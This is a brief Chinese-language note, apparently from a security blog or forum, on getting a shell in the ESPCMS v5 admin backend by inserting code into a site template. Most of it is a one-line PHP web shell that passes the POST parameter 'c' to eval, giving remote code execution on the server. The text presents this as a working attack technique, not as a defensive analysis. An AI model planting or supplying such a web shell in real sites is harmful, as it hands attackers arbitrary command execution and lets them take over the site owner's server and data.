今天在espcms v5后台getshell时发现，可以在模板中插入如下代码，成功执行PHP。

<script language="php">eval（$_POST[c])</script>